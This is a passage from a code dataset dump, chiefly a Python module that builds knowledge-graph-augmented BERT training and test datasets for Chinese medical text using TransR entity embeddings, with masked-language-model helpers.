driver.hess,\n iter=maxIter,\n acc=accu,\n lsmode=mode,\n config=conf,\n xb=xbounds,\n driver=driver,)\n\nlog.close()\nhis.close()\n \nprint ('Finished')\n\n\n\n\n","sub_path":"NACA0012/sqpexample/sqpexample.py","file_name":"sqpexample.py","file_ext":"py","file_size_in_byte":11731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"480472630","text":"from __future__ import absolute_import, division, print_function\n\nimport json\n# import pretraining_args as args\nimport csv\nimport logging\nimport os\n# import random\nimport sys\nfrom glob import glob\nimport numpy as np\nimport torch\nfrom torch.utils.data import (DataLoader, RandomSampler, SequentialSampler,\n TensorDataset, Dataset)\nfrom torch.utils.data.distributed import DistributedSampler\nfrom tqdm import tqdm, trange\nfrom random import random, randrange, randint, shuffle, choice, sample, uniform, randint\nfrom random import Random as Rd\nfrom torch.nn import CrossEntropyLoss, MSELoss\nfrom scipy.stats import pearsonr, spearmanr\nfrom sklearn.metrics import matthews_corrcoef, f1_score,precision_score,recall_score\nimport jieba\nfrom pytorch_pretrained_bert.file_utils import WEIGHTS_NAME, CONFIG_NAME, MAX_TARGET, MAX_NUM_PAIR, MAX_LONG_WORD_USE, \\\n MAX_SHORT_WORD_USE, MAX_SEG_USE\n\nfrom pytorch_pretrained_bert.modeling import BertForHyperPreTraining, cMeForIR, \\\n BertConfig # Note that we use the sop, rather than nsp task.\n# from code.knowledge_bert.modeling import BertForPreTraining\nfrom math import ceil\nfrom pytorch_pretrained_bert.tokenization import BertTokenizer\nfrom pytorch_pretrained_bert.Trie import Trie\nfrom transformers.optimization import AdamW, get_linear_schedule_with_warmup, get_double_linear_schedule_with_warmup\nfrom pytorch_pretrained_bert.optimization import BertAdam\nimport argparse\nimport multiprocessing\nfrom multiprocessing import Manager\nfrom multiprocessing import Process\nimport gc\nimport pickle\nimport torch.distributed as dist\nimport time\nfrom torch.nn.parallel import DistributedDataParallel as DDP\nfrom torch.nn.functional import margin_ranking_loss\n\nEVAL_HARD_HOLD = 16\n# torch.autograd.set_detect_anomaly(True)\n\n# ww_lables = None\n# with open('ww_sim/labels.pkl','rb') as wf:\n# ww_lables = pickle.load(wf)\n\n\nentity_file = open('kgs/ch_entity2id.txt', 'r',\n encoding='utf-8') # Note that we must add the first entity as EMPETY.\nentity_dict = {}\nentity_file.readline()\nid2entity = {}\n\nfor line in entity_file:\n name, idx = line.rstrip().split('\\t')\n entity_dict[name] = int(idx) + 1\n id2entity[idx] = name\nentity_file.close()\n\nentity_file = open('kgs/entityId2weight.json', 'r',\n encoding='utf-8')\nidx2weight = json.load(entity_file)\nentity_file.close()\n\nrel_file = open('kgs/ch_relation2id.txt', 'r',\n encoding='utf-8')\nrel_file.readline()\nrel_dict = {}\nfor line in rel_file:\n name, idx = line.rstrip().split('\\t')\n rel_dict[name] = int(idx) + 1\n\nww_tree = Trie()\nMAX_PRE_ENTITY_MASK = 100\nmask_count = dict.fromkeys(entity_dict.keys(), MAX_PRE_ENTITY_MASK)\n\nfor key in entity_dict.keys():\n if (len(key) > 1 and not key.isdigit()):\n ww_tree.insert(key)\n # entity_dict[key] += 1 # For the zero embedding is used as Pad ebmedding.\n\nentity_dict_index2str = {value: key for key, value in entity_dict.items()}\n\n# keys = ['ent_embeddings', 'rel_embeddings']\njs_file = open('kgs/transr_transr.json', 'r',\n encoding='utf-8') # Note that we must add the first entity as EMPTY.\njs_dict = json.load(js_file)\njs_file.close()\nembedding_list = js_dict['ent_embeddings.weight']\ntransfer_matrix_list = js_dict['transfer_matrix.weight']\nrelation_list = js_dict['rel_embeddings.weight']\ne_dim = len(embedding_list[0])\nassert(len(transfer_matrix_list[0]) % e_dim == 0)\nr_dim = len(transfer_matrix_list[0]) // e_dim\nassert(len(transfer_matrix_list) == len(relation_list))\nfor i in range(len(transfer_matrix_list)):\n transfer_matrix_list[i].extend(relation_list[i])\n\n# transfer_matrix_list = [[0]*(r_dim*e_dim)] + transfer_matrix_list\ntransfer_matrix = torch.FloatTensor(transfer_matrix_list)\ntransfer_matrix = transfer_matrix.view(transfer_matrix.size(0),r_dim,e_dim+1)\ntransfer_matrix = torch.bmm(transfer_matrix.transpose(-1,-2),transfer_matrix)\ntransfer_matrix = torch.cat((torch.zeros(1,e_dim+1,e_dim+1),transfer_matrix),dim=0)\ntransfer_matrix = torch.nn.Embedding.from_pretrained(transfer_matrix.view(-1,(e_dim+1)*(e_dim+1)),freeze=False)\n\n# ['zero_const', 'pi_const', 'ent_embeddings.weight', 'rel_embeddings.weight', 'transfer_matrix.weight']\n\ndef euclidean(p, q):\n # 计算欧几里德距离,并将其标准化\n e = sum([(p[i] - q[i]) ** 2 for i in range(len(p))])\n # return 1 / (1 + e ** .5)\n return e\n\n\nvecs = []\nvecs.append([0] * 100) # CLS\nfor vec in embedding_list:\n vecs.append(vec)\nembedding_list = vecs\nembed = torch.FloatTensor(vecs)\nembed = torch.nn.Embedding.from_pretrained(embed,freeze=False)\n\n# print(len(embedding_list))\n# print(len(entity_dict))\n# print(max(entity_dict.values()))\n# del vecs, embedding_list, js_file, entity_file\n# predefined_entity_type = ['药品', '疾病', '症状', '其他', '缺省']\n# type_embed = torch.randn(len(predefined_entity_type), 100).float()\n# type_embed = torch.nn.Embedding.from_pretrained(type_embed)\ndel js_file, entity_file\nMAX_SEQ_LEN = 512\nWORD_CUTTING_MAX_PAIR = 50\nGUEESS_ATOM_MAX_PAIR = 50\nPOS_NEG_MAX_PAIR = 10\n\n# MAX_TARGET=32\n# MAX_NUM_PAIR=25\n\nSAVE_THELD = .1\nlogger = logging.getLogger(__name__)\nrng = Rd(43)\nimport re\n\n# def collect_fn(x):\n# print(type(x))\n# x = torch.cat( tuple(xx.unsqueeze(0) for xx in x) , dim=0 )\n# entity_idx = x[:, 4*args.max_seq_length:5*args.max_seq_length]\n# # Build candidate\n# uniq_idx = np.unique(entity_idx.numpy())\n# ent_candidate = embed(torch.LongTensor(uniq_idx+1))\n# ent_candidate = ent_candidate.repeat([n_gpu, 1])\n# # build entity labels\n# d = {}\n# dd = []\n# for i, idx in enumerate(uniq_idx):\n# d[idx] = i\n# dd.append(idx)\n# ent_size = len(uniq_idx)-1\n# def map(x):\n# if x == -1:\n# return -1\n# else:\n# rnd = random.uniform(0, 1)\n# if rnd < 0.05:\n# return dd[random.randint(1, ent_size)]\n# elif rnd < 0.2:\n# return -1\n# else:\n# return x\n# ent_labels = entity_idx.clone()\n# d[-1] = -1\n# ent_labels = ent_labels.apply_(lambda x: d[x])\n# entity_idx.apply_(map)\n# ent_emb = embed(entity_idx+1)\n# mask = entity_idx.clone()\n# mask.apply_(lambda x: 0 if x == -1 else 1)\n# mask[:,0] = 1\n# return x[:,:args.max_seq_length], x[:,args.max_seq_length:2*args.max_seq_length], x[:,2*args.max_seq_length:3*args.max_seq_length], x[:,3*args.max_seq_length:4*args.max_seq_length], ent_emb, mask, x[:,6*args.max_seq_length:], ent_candidate, ent_labels\n\ndef key_fn(obj):\n idx = entity_dict[obj[0]]-1\n weight = idx2weight[str(idx)]\n return weight\n\nclass TestENRIEDataset(Dataset):\n def __init__(self, args, data_path, max_seq_length, masked_lm_prob,\n max_predictions_per_seq, tokenizer, node2entity, entity_dict_init, entity_type, type_embedd,type2id,entityOutNegbhor,entityInNegbhor, min_len=128):\n self.args = args\n self.data_path = data_path\n self.max_seq_length = max_seq_length\n self.masked_lm_prob = masked_lm_prob\n self.max_predictions_per_seq = max_predictions_per_seq\n self.tokenizer = tokenizer\n self.node2entity = node2entity\n self.entity_dict = entity_dict_init\n self.min_len = min_len\n self.type2id = type2id\n self.max_num_tokens = max_seq_length - 3\n self.lines = []\n self.vocab = list(tokenizer.vocab.keys())\n self.entity_type = entity_type\n self.type_embedd = type_embedd\n self.entity_dict_reverse = {value: key for key, value in entity_dict_init.items()}\n self.entityInNegbhor = entityInNegbhor\n self.entityOutNegbhor = entityOutNegbhor\n self.__read_data__()\n\n def __getitem__(self, index):\n line = self.lines[index]\n htl = self.__data2tokens__(line)\n feature = self.__tokens2feature__(*htl)\n # example_a = {\n # \"tokens\": example['tokens_a'],\n # \"segment_ids\": example['segment_ids_a'],\n # 'entity_pos': example['entity_pos_a'] }\n f = self.__get_feature__(feature)\n \n # example_b = {\n # \"tokens\": example['tokens_b'],\n # \"segment_ids\": example['segment_ids_b'],\n # 'entity_pos': example['entity_pos_b'] }\n # f_b = self.__get_feature__(example_b)\n tensor_tuple = self.__feature2tensor__(f)\n # tensor_tuple_b = self.__feature2tensor__(f_b)\n\n return tensor_tuple\n\n def __data2tokens__(self,data):\n label,head,tail = data.strip().split('\\t')\n label = int(label)\n assert(label==0 or label==1)\n head = self.tokenizer.tokenize(head)\n tail = self.tokenizer.tokenize(tail)\n truncate_seq_pair(head,tail,MAX_SEQ_LEN-3,rng)\n # head = self.tokenizer.tokenize(head)\n # tail = None\n return (head,tail,label)\n \n def __tokens2feature__(self,head,tail,label):\n # tokens = self.tokenizer.convert_ids_to_tokens(head)\n # if('[PAD]' in tokens):\n # tokens = tokens[:tokens.index('[PAD]')]\n # try:\n # assert( tokens[0] == '[CLS]')\n # assert ( tokens[-1] == '[SEP]')\n # except:\n # print(tokens)\n # assert(False)\n tokens = ['[CLS]'] + head + ['[SEP]']\n segment_ids = [0] * len(tokens)\n if(tail): \n tail_tokens = tail + ['[SEP]']\n segment_ids += [1]*len(tail_tokens)\n tokens += tail_tokens\n tokens, entity_pos = convert_sentence_to_tokens(tokens,self.tokenizer)\n example ={\n 'tokens': tokens,\n 'segment_ids': segment_ids,\n 'entity_pos': entity_pos,\n 'label': label\n }\n return example\n\n def __get_feature__(self, example):\n args = self.args\n max_seq_length = self.max_seq_length\n\n tokens = example[\"tokens\"]\n segment_ids = example[\"segment_ids\"]\n entity_pos = example['entity_pos']\n label = example['label']\n args = self.args\n \n kc_entity_se_index_array = np.zeros((MAX_TARGET,2),dtype=np.int)\n kc_entity_two_hop_labels_array = np.full((MAX_TARGET,args.two_hop_entity_num),fill_value=-1,dtype=np.int)\n \n kc_entity_out_or_in_array = np.zeros((MAX_TARGET,args.two_hop_entity_num),dtype=np.int)\n kc_entity_two_hop_rel_types_array = np.zeros((MAX_TARGET,args.two_hop_entity_num),dtype=np.int)\n kc_entity_infusion_pos_array = np.zeros(max_seq_length,dtype=np.int)\n kc_entity_two_hop_types_array = np.zeros((MAX_TARGET,args.two_hop_entity_num),dtype=np.int)\n \n kc_entity_one_hop_ids_array = np.zeros(MAX_TARGET,dtype=np.int) # Note that Label has -1 as padding while ids use 0.\n kc_entity_one_hop_types_array = np.zeros(MAX_TARGET,dtype=np.int)\n\n\n for index,key in enumerate(entity_pos):\n word = entity_pos[key]\n start,end = key,key+len(word)\n \n \n tmp_set = [] \n if(word in self.entityInNegbhor):\n for rel,e in self.entityInNegbhor[word]:\n tmp_set.append((e,rel,-1))\n if(word in self.entityOutNegbhor):\n for rel,e in self.entityOutNegbhor[word]:\n tmp_set.append((e,rel,1))\n \n tmp_set = sorted(tmp_set,key=key_fn,reverse=True)\n tmp_set = tmp_set[:args.two_hop_entity_num]\n\n kc_entity_se_index_array[index] = [start,end-1]\n tmp = list(t[2] for t in tmp_set)\n kc_entity_out_or_in_array[index][:len(tmp)] = tmp\n tmp = list(self.entity_dict[t[0]] for t in tmp_set)\n kc_entity_two_hop_labels_array[index][:len(tmp)] = tmp\n tmp = list(rel_dict[t[1]] for t in tmp_set)\n kc_entity_two_hop_rel_types_array[index][:len(tmp)] = tmp\n tmp = list(self.type2id[self.entity_type[t[0]]] for t in tmp_set)\n kc_entity_two_hop_types_array[index][:len(tmp)] = tmp\n\n kc_entity_one_hop_ids_array[index] = self.entity_dict[word]\n kc_entity_one_hop_types_array[index] = self.type2id[self.entity_type[word]]\n kc_entity_infusion_pos_array[start:end] = index + 1\n assert len(tokens) == len(segment_ids) <= max_seq_length # The preprocessed data should be already truncated\n input_ids = self.tokenizer.convert_tokens_to_ids(tokens)\n input_array = np.full(max_seq_length, dtype=np.int, fill_value=self.tokenizer.convert_tokens_to_ids(['[PAD]'])[0] )\n input_array[:len(input_ids)] = input_ids\n mask_array = np.zeros(max_seq_length, dtype=np.int)\n mask_array[:len(input_ids)] = 1\n segment_array = np.zeros(max_seq_length, dtype=np.int)\n segment_array[:len(segment_ids)] = segment_ids\n feature = InputFeatures(input_ids=input_array,\n input_mask=mask_array,\n segment_ids=segment_array,\n kc_entity_one_hop_ids=kc_entity_one_hop_ids_array,\n kc_entity_one_hop_types=kc_entity_one_hop_types_array,\n kc_entity_se_index=kc_entity_se_index_array,\n kc_entity_two_hop_labels=kc_entity_two_hop_labels_array,\n kc_entity_out_or_in=kc_entity_out_or_in_array,\n kc_entity_two_hop_rel_types=kc_entity_two_hop_rel_types_array,\n kc_entity_two_hop_types_array=kc_entity_two_hop_types_array,\n kc_entity_infusion_pos = kc_entity_infusion_pos_array,\n label = [label])\n return feature\n def __feature2tensor__(self, feature):\n f = feature\n all_input_ids = torch.tensor(f.input_ids, dtype=torch.long)\n all_input_mask = torch.tensor(f.input_mask, dtype=torch.long)\n all_segment_ids = torch.tensor(f.segment_ids, dtype=torch.long)\n # print(f.kc_entity_one_hop_ids.shape)\n kc_entity_one_hop_ids = torch.tensor(f.kc_entity_one_hop_ids, dtype=torch.long)\n kc_entity_one_hop_types = torch.tensor(f.kc_entity_one_hop_types, dtype=torch.long)\n # print(kc_entity_one_hop_ids.size())\n # print(kc_entity_one_hop_types.size())\n kc_entity_se_index = torch.tensor(f.kc_entity_se_index, dtype=torch.long)\n kc_entity_two_hop_labels = torch.tensor(f.kc_entity_two_hop_labels, dtype=torch.long)\n kc_entity_out_or_in = torch.tensor(f.kc_entity_out_or_in, dtype=torch.long)\n kc_entity_two_hop_rel_types = torch.tensor(f.kc_entity_two_hop_rel_types, dtype=torch.long)\n kc_entity_two_hop_types = torch.tensor(f.kc_entity_two_hop_types)\n kc_entity_infusion_pos = torch.tensor(f.kc_entity_infusion_pos)\n label = torch.tensor(f.label,dtype=torch.long)\n # print(all_input_ids)\n return ((all_input_ids, all_segment_ids,all_input_mask, kc_entity_one_hop_ids,\n kc_entity_one_hop_types) #+ (all_two_hop_entity_ids, all_two_hop_entity_types)\n +(kc_entity_se_index, kc_entity_two_hop_labels, kc_entity_out_or_in, kc_entity_two_hop_rel_types,kc_entity_two_hop_types,kc_entity_infusion_pos)\n +(label,)\n )\n # one example has 11 features.\n\n def __len__(self):\n return len(self.lines)\n\n def __read_data__(self):\n fr = open(self.data_path, \"r\",encoding='utf-8')\n self.lines = fr.readlines()\n fr.close()\n\nclass TrainENRIEDataset(Dataset):\n def __init__(self, args, data_path, max_seq_length, masked_lm_prob,\n max_predictions_per_seq, tokenizer, node2entity, entity_dict_init, entity_type, type_embedd,type2id,entityOutNegbhor,entityInNegbhor, min_len=128):\n self.args = args\n self.data_path = data_path\n self.max_seq_length = max_seq_length\n self.masked_lm_prob = masked_lm_prob\n self.max_predictions_per_seq = max_predictions_per_seq\n self.tokenizer = tokenizer\n self.node2entity = node2entity\n self.entity_dict = entity_dict_init\n self.min_len = min_len\n self.type2id = type2id\n self.max_num_tokens = max_seq_length - 3\n self.lines = []\n self.vocab = list(tokenizer.vocab.keys())\n self.entity_type = entity_type\n self.type_embedd = type_embedd\n self.entity_dict_reverse = {value: key for key, value in entity_dict_init.items()}\n self.entityInNegbhor = entityInNegbhor\n self.entityOutNegbhor = entityOutNegbhor\n self.__read_data__()\n\n def __getitem__(self, index):\n line = self.lines[index]\n q,p,n = self.__data2tokens__(line)\n feature_p = self.__tokens2feature__(q,p,1)\n feature_n = self.__tokens2feature__(q,n,0)\n\n pf = self.__get_feature__(feature_p)\n tensor_tuple_p = self.__feature2tensor__(pf)\n \n nf = self.__get_feature__(feature_n)\n tensor_tuple_n = self.__feature2tensor__(nf)\n\n return tensor_tuple_p+tensor_tuple_n\n\n def __data2tokens__(self,data):\n query,pos_a,neg_a = data.strip().split('\\t')\n query = self.tokenizer.tokenize(query)\n pos_a = self.tokenizer.tokenize(pos_a)\n neg_a = self.tokenizer.tokenize(neg_a)\n\n return (query,pos_a,neg_a)\n \n def __tokens2feature__(self,head,tail,label):\n truncate_seq_pair(head,tail,MAX_SEQ_LEN-3,rng)\n tokens = ['[CLS]'] + head + ['[SEP]']\n segment_ids = [0] * len(tokens)\n if(tail): \n tail_tokens = tail + ['[SEP]']\n segment_ids += [1]*len(tail_tokens)\n tokens += tail_tokens\n tokens, entity_pos = convert_sentence_to_tokens(tokens,self.tokenizer)\n example ={\n 'tokens': tokens,\n 'segment_ids': segment_ids,\n 'entity_pos': entity_pos,\n 'label': label\n }\n return example\n\n def __get_feature__(self, example):\n args = self.args\n max_seq_length = self.max_seq_length\n\n tokens = example[\"tokens\"]\n segment_ids = example[\"segment_ids\"]\n entity_pos = example['entity_pos']\n label = example['label']\n args = self.args\n \n kc_entity_se_index_array = np.zeros((MAX_TARGET,2),dtype=np.int)\n kc_entity_two_hop_labels_array = np.full((MAX_TARGET,args.two_hop_entity_num),fill_value=-1,dtype=np.int)\n \n kc_entity_out_or_in_array = np.zeros((MAX_TARGET,args.two_hop_entity_num),dtype=np.int)\n kc_entity_two_hop_rel_types_array = np.zeros((MAX_TARGET,args.two_hop_entity_num),dtype=np.int)\n kc_entity_infusion_pos_array = np.zeros(max_seq_length,dtype=np.int)\n kc_entity_two_hop_types_array = np.zeros((MAX_TARGET,args.two_hop_entity_num),dtype=np.int)\n \n kc_entity_one_hop_ids_array = np.zeros(MAX_TARGET,dtype=np.int) # Note that Label has -1 as padding while ids use 0.\n kc_entity_one_hop_types_array = np.zeros(MAX_TARGET,dtype=np.int)\n\n\n for index,key in enumerate(entity_pos):\n word = entity_pos[key]\n start,end = key,key+len(word)\n \n \n tmp_set = [] \n if(word in self.entityInNegbhor):\n for rel,e in self.entityInNegbhor[word]:\n tmp_set.append((e,rel,-1))\n if(word in self.entityOutNegbhor):\n for rel,e in self.entityOutNegbhor[word]:\n tmp_set.append((e,rel,1))\n \n tmp_set = sorted(tmp_set,key=key_fn,reverse=True)\n tmp_set = tmp_set[:args.two_hop_entity_num]\n\n kc_entity_se_index_array[index] = [start,end-1]\n tmp = list(t[2] for t in tmp_set)\n kc_entity_out_or_in_array[index][:len(tmp)] = tmp\n tmp = list(self.entity_dict[t[0]] for t in tmp_set)\n kc_entity_two_hop_labels_array[index][:len(tmp)] = tmp\n tmp = list(rel_dict[t[1]] for t in tmp_set)\n kc_entity_two_hop_rel_types_array[index][:len(tmp)] = tmp\n tmp = list(self.type2id[self.entity_type[t[0]]] for t in tmp_set)\n kc_entity_two_hop_types_array[index][:len(tmp)] = tmp\n\n kc_entity_one_hop_ids_array[index] = self.entity_dict[word]\n kc_entity_one_hop_types_array[index] = self.type2id[self.entity_type[word]]\n kc_entity_infusion_pos_array[start:end] = index + 1\n assert len(tokens) == len(segment_ids) <= max_seq_length # The preprocessed data should be already truncated\n input_ids = self.tokenizer.convert_tokens_to_ids(tokens)\n input_array = np.full(max_seq_length, dtype=np.int, fill_value=self.tokenizer.convert_tokens_to_ids(['[PAD]'])[0] )\n input_array[:len(input_ids)] = input_ids\n mask_array = np.zeros(max_seq_length, dtype=np.int)\n mask_array[:len(input_ids)] = 1\n segment_array = np.zeros(max_seq_length, dtype=np.int)\n segment_array[:len(segment_ids)] = segment_ids\n feature = InputFeatures(input_ids=input_array,\n input_mask=mask_array,\n segment_ids=segment_array,\n kc_entity_one_hop_ids=kc_entity_one_hop_ids_array,\n kc_entity_one_hop_types=kc_entity_one_hop_types_array,\n kc_entity_se_index=kc_entity_se_index_array,\n kc_entity_two_hop_labels=kc_entity_two_hop_labels_array,\n kc_entity_out_or_in=kc_entity_out_or_in_array,\n kc_entity_two_hop_rel_types=kc_entity_two_hop_rel_types_array,\n kc_entity_two_hop_types_array=kc_entity_two_hop_types_array,\n kc_entity_infusion_pos = kc_entity_infusion_pos_array,\n label = [label])\n return feature\n def __feature2tensor__(self, feature):\n f = feature\n all_input_ids = torch.tensor(f.input_ids, dtype=torch.long)\n all_input_mask = torch.tensor(f.input_mask, dtype=torch.long)\n all_segment_ids = torch.tensor(f.segment_ids, dtype=torch.long)\n # print(f.kc_entity_one_hop_ids.shape)\n kc_entity_one_hop_ids = torch.tensor(f.kc_entity_one_hop_ids, dtype=torch.long)\n kc_entity_one_hop_types = torch.tensor(f.kc_entity_one_hop_types, dtype=torch.long)\n # print(kc_entity_one_hop_ids.size())\n # print(kc_entity_one_hop_types.size())\n kc_entity_se_index = torch.tensor(f.kc_entity_se_index, dtype=torch.long)\n kc_entity_two_hop_labels = torch.tensor(f.kc_entity_two_hop_labels, dtype=torch.long)\n kc_entity_out_or_in = torch.tensor(f.kc_entity_out_or_in, dtype=torch.long)\n kc_entity_two_hop_rel_types = torch.tensor(f.kc_entity_two_hop_rel_types, dtype=torch.long)\n kc_entity_two_hop_types = torch.tensor(f.kc_entity_two_hop_types)\n kc_entity_infusion_pos = torch.tensor(f.kc_entity_infusion_pos)\n label = torch.tensor(f.label,dtype=torch.long)\n # print(all_input_ids)\n return ((all_input_ids, all_segment_ids,all_input_mask, kc_entity_one_hop_ids,\n kc_entity_one_hop_types) #+ (all_two_hop_entity_ids, all_two_hop_entity_types)\n +(kc_entity_se_index, kc_entity_two_hop_labels, kc_entity_out_or_in, kc_entity_two_hop_rel_types,kc_entity_two_hop_types,kc_entity_infusion_pos)\n +(label,)\n )\n # one example has 11 features.\n\n def __len__(self):\n return len(self.lines)\n\n def __read_data__(self):\n fr = open(self.data_path, \"r\",encoding='utf-8')\n self.lines = fr.readlines()\n fr.close()\n\n\n\n### End\n\n### Load the synset dict and len2word dict\n# MAX_SYN_USEAGE=30 # Note that since our synset is samll, we actually replace syn word as far as we can, and limit the useage.\n\n# 现有替换策略为预处理时先生成并标记增���样本,对于增强样本中的同义词,不进行mask预测,但同样可进行切分和分类以及特征词原子词相互预测。\n# syn_file=open('data_aug/syn.pkl','rb')\n# synset=pickle.load(syn_file)\n# syn_file.close()\n\n\n# len2word={} # use to produce negative sample, note that we can always use the corrpording word as postive sample.\n\n### End\n\n### creat the converter for type and entitiy\n# l2w_file=open('cut_word/l2w.pkl','rb')\n# len2word=pickle.load(l2w_file) # length of word and type back to word\n# l2w_file.close()\n### End\n\n# logging.basicConfig(filename='logger.log', level=logging.INFO)\ndef warmup_linear(x, warmup=0.002):\n if x < warmup:\n return x / warmup\n return 1.0 - x\n\n\ndef is_chinese_char(cp):\n \"\"\"Checks whether CP is the codepoint of a CJK character.\"\"\"\n # This defines a \"chinese character\" as anything in the CJK Unicode block:\n # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block)\n #\n # Note that the CJK Unicode block is NOT all Japanese and Korean characters,\n # despite its name. The modern Korean Hangul alphabet is a different block,\n # as is Japanese Hiragana and Katakana. Those alphabets are used to write\n # space-separated words, so they are not treated specially and handled\n # like the all of the other languages.\n cp = ord(cp)\n if ((cp >= 0x4E00 and cp <= 0x9FFF) or #\n (cp >= 0x3400 and cp <= 0x4DBF) or #\n (cp >= 0x20000 and cp <= 0x2A6DF) or #\n (cp >= 0x2A700 and cp <= 0x2B73F) or #\n (cp >= 0x2B740 and cp <= 0x2B81F) or #\n (cp >= 0x2B820 and cp <= 0x2CEAF) or\n (cp >= 0xF900 and cp <= 0xFAFF) or #\n (cp >= 0x2F800 and cp <= 0x2FA1F)): #\n return True\n return False\n\n\nclass InputFeatures(object):\n \"\"\"A single set of features of data.\"\"\"\n\n def __init__(self, input_ids, input_mask, segment_ids, kc_entity_one_hop_ids, \n kc_entity_one_hop_types,\n kc_entity_se_index,kc_entity_two_hop_labels,kc_entity_out_or_in,kc_entity_two_hop_rel_types,kc_entity_two_hop_types_array,kc_entity_infusion_pos,label=None):\n self.input_ids = input_ids\n self.input_mask = input_mask\n self.segment_ids = segment_ids\n\n self.kc_entity_one_hop_ids=kc_entity_one_hop_ids\n self.kc_entity_one_hop_types=kc_entity_one_hop_types\n\n self.kc_entity_se_index = kc_entity_se_index\n self.kc_entity_two_hop_labels = kc_entity_two_hop_labels\n self.kc_entity_out_or_in = kc_entity_out_or_in\n self.kc_entity_two_hop_rel_types = kc_entity_two_hop_rel_types\n self.kc_entity_two_hop_types = kc_entity_two_hop_types_array\n self.kc_entity_infusion_pos = kc_entity_infusion_pos\n self.label = label\n\ndef truncate_seq_pair(tokens_a, tokens_b, max_num_tokens, rng):\n \"\"\"Truncates a pair of sequences to a maximum sequence length.\"\"\"\n while True:\n total_length = len(tokens_a) + len(tokens_b)\n if total_length <= max_num_tokens:\n break\n\n trunc_tokens = tokens_a if len(tokens_a) > len(tokens_b) else tokens_b\n assert len(trunc_tokens) >= 1\n\n # We want to sometimes truncate from the front and sometimes from the\n # back to add more randomness and avoid biases.\n if rng.random() < 0.05: # I do not want you delete front because you cause the head always produce [UNK]\n del trunc_tokens[0]\n else:\n trunc_tokens.pop()\n\n\ndef create_masked_lm_predictions(tokens, masked_lm_prob, max_predictions_per_seq, vocab):\n \"\"\"Creates the predictions for the masked LM objective. This is mostly copied from the Google BERT repo, but\n with several refactors to clean it up and remove a lot of unnecessary variables.\"\"\"\n cand_indices = []\n for (i, token) in enumerate(tokens):\n if token == \"[CLS]\" or token == \"[SEP]\" or not token.isalnum():\n continue\n cand_indices.append(i)\n\n num_to_mask = min(max_predictions_per_seq,\n max(1, int(round(len(tokens) * masked_lm_prob))))\n # print(num_to_mask)\n # print(\"tokens\", len(tokens))\n # print(\"cand\", len(cand_indices))\n shuffle(cand_indices)\n mask_indices = sorted(sample(cand_indices, num_to_mask))\n masked_token_labels = []\n for index in mask_indices:\n # 80% of the time, replace with [MASK]\n if random() < 0.8:\n masked_token = \"[MASK]\"\n else:\n # 10% of the time, keep original\n if random() < 0.5:\n masked_token = tokens[index]\n # 10% of the time, replace with random word\n else:\n masked_token = choice(vocab)\n masked_token_labels.append(tokens[index])\n # Once we've saved the true label for that token, we can overwrite it with the masked version\n tokens[index] = masked_token\n\n return tokens, mask_indices, masked_token_labels\n\n\ndef isSkipToken(token):\n return token == \"[CLS]\" or token == \"[SEP]\" or (not token.isalnum() and len(token) == 1)\n\n\ndef create_wwm_lm_predictions(tokens, masked_lm_prob, max_predictions_per_seq, vocab, tokenizer):\n \"\"\"Creates the predictions for the masked LM objective. This is mostly copied from the Google BERT repo, but\n with several refactors to clean it up and remove a lot of unnecessary variables.\"\"\"\n\n chars = [token for token in tokens]\n cand_map = dict(zip(range(len(tokens)), range(len(tokens))))\n\n entity_pos = {}\n # entity_ids = [] # This list would like [ [0] , [1,2] , [3,4,5]] to pack wwm word toghter\n # We use it to 保存分词预测和特征词原子词相互预测的位置\n cand_index = 0\n skip_index = set()\n\n assert (chars[0] == '[CLS]')\n\n while (cand_index < len(chars)):\n if (isSkipToken(chars[cand_index])):\n skip_index.add(cand_index)\n # entity_ids.append(-1)\n elif ( ww_tree.startsWith(chars[cand_index])):\n c = ww_tree.get_lengest_match(chars, cand_index)\n if (c == None):\n # entity_ids.append(-1)\n pass\n else:\n word = ''.join(chars[cand_index:c + 1])\n assert (word in entity_dict)\n # mask_count[word] -= 1\n entity_pos[cand_index]=word\n cand_index += len(word)\n continue\n cand_index += 1\n words_hit= list(entity_pos.items())\n if(len(words_hit)>MAX_TARGET):\n shuffle(words_hit)\n entity_pos = dict(words_hit[:MAX_TARGET])\n words_hit = [ w[1] for w in words_hit[:MAX_TARGET] ] \n for w in words_hit:\n if(w in mask_count):\n mask_count[w]-=1\n if(mask_count[w]==0):\n mask_count.pop(w)\n ww_tree.delete(w)\n cand_indices = [i for i in range(cand_index) if i not in skip_index ]\n num_to_mask = min(max_predictions_per_seq,\n max(1, int(round(len(cand_indices) * masked_lm_prob))))\n \n \n shuffle(cand_indices)\n mask_indices = sorted(cand_indices[:num_to_mask])\n masked_token_labels = []\n for index in mask_indices:\n # 80% of the time, replace with [MASK]\n if random() < 0.8:\n masked_token = \"[MASK]\"\n else:\n # 10% of the time, keep original\n if random() < 0.5:\n masked_token = tokens[index]\n # 10% of the time, replace with random word\n else:\n masked_token = choice(vocab)\n masked_token_labels.append(tokens[index])\n # Once we've saved the true label for that token, we can overwrite it with the masked version\n chars[index] = masked_token\n\n assert (len(mask_indices) <= MAX_SEQ_LEN)\n assert (len(masked_token_labels) == len(mask_indices))\n\n assert (len(chars) <= MAX_SEQ_LEN)\n assert (len(set(mask_indices)) == len(mask_indices))\n # print(entity_pos)\n assert (len(entity_pos)<=MAX_TARGET)\n return chars, mask_indices, masked_token_labels, entity_pos\n\ndef convert_sentence_to_tokens(tokens, tokenizer):\n \n chars = [token for token in tokens]\n entity_pos = {}\n cand_index = 0\n assert (chars[0] == '[CLS]')\n\n while (cand_index < len(chars)):\n if( (not isSkipToken(chars[cand_index])) and ww_tree.startsWith(chars[cand_index])):\n c = ww_tree.get_lengest_match(chars, cand_index)\n if(c is not None):\n word = ''.join(chars[cand_index:c + 1])\n assert (word in entity_dict)\n entity_pos[cand_index]=word\n cand_index += len(word)\n continue\n cand_index += 1\n \n words_hit= list(entity_pos.items())\n if(len(words_hit)>MAX_TARGET):\n shuffle(words_hit)\n entity_pos = dict(words_hit[:MAX_TARGET])\n words_hit = [ w[1] for w in words_hit[:MAX_TARGET] ]\n\n assert (len(chars) <= MAX_SEQ_LEN)\n assert (len(entity_pos)<=MAX_TARGET)\n return chars, entity_pos\n\ndef convert_examples_to_features(args, lines, max_seq_length, tokenizer, do_gc=False):\n features = []\n example_num = len(lines)\n names_list = []\n save_pre_step = max(int(.25 * example_num), 1)\n # print(save_pre_step)\n # example = {\n # \"tokens\": tokens,\n # \"segment_ids\": segment_ids,\n # 